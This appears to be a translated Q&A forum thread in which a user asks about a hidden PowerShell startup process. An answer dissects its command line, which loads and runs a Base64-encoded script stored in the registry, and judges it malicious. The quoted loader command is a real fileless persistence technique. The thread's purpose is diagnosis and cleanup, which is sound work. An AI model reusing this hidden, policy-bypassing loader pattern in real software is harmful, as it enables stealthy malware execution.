Random powershell.exe process?

4

Eu notei há alguns dias no Gerenciador de Tarefas que tenho um processo powershell.exe em execução. Quando fui ao msconfig, ele tem um comando muito longo. Aqui está:

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));

Isso é realmente estranho porque apenas hoje apareceu um processo aleatório com o qual eu tive problemas antes (talvez não esteja relacionado a isso, mas apenas dizer) que é um vírus e tentei baixar um driver não seguro, como diz o Windows. PC. Alguém poderia me dizer algo sobre esse processo do PowerShell? Ele inicia na inicialização e está sempre em execução. Mais uma vez, espero não parecer ignorante, talvez seja apenas um processo de inicialização normal.

    
por VoLtury Bey 19.09.2016 / 23:18

1 resposta

9

Isso é quase certamente malicioso.

Vamos desmontar. Ele invoca o Windows PowerShell (um intérprete de comandos legítimo e muito útil) sem personalizações de usuário ( -noprofile ) em uma janela oculta ( -windowstyle hidden ), permitindo que a sessão do PowerShell execute scripts independentemente da política do sistema ( -executionpolicy bypass ). Em seguida, ele executa este comando:

iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))

gp significa Get-ItemProperty , que pode ser usado para recuperar valores de chaves do Registro, e é isso que está sendo feito aqui. Aparentemente, há uma chave chamada SAJELFZIXHQTV na sua chave atual do usuário Software\Classes . Essa chave tem um valor chamado ADUXJH , os dados em que o gp é recuperado. Esses dados (evidentemente, uma string) são então Base64 - codificados em uma matriz de bytes ( FromBase64String ). Esses bytes são então interpretados como texto ASCII ( ASCII.GetString ). Estranhamente, há um ponto extra no original, o que deve causar um erro porque o objeto ASCII não tem um membro chamado Get . Dado que o processo continua, suspeito que o ponto extra seja apenas um erro de transcrição.

Se esse erro não estivesse presente, o texto resultante seria chamado como um comando do PowerShell ( iex ). Em suma, este comando é projetado para carregar um script codificado do Registro e executá-lo. Para ver exatamente o que está sendo executado, copie o comando acima do PowerShell menos o iex e com o ponto extra removido em um prompt do PowerShell e execute-o. Ele irá imprimir o comando que seria invocado. Quase certamente não será benigno.

Você pode impedir que essa entrada seja iniciada automaticamente pela ferramenta Autoruns . No entanto, é provavelmente uma boa ideia fazer uma limpeza mais profunda da sua máquina, já que ela provavelmente está infectada. Por favor, veja Como posso remover spyware, malware, adware, vírus, trojans ou rootkits mal-intencionados do meu PC?

    
por 19.09.2016 / 23:45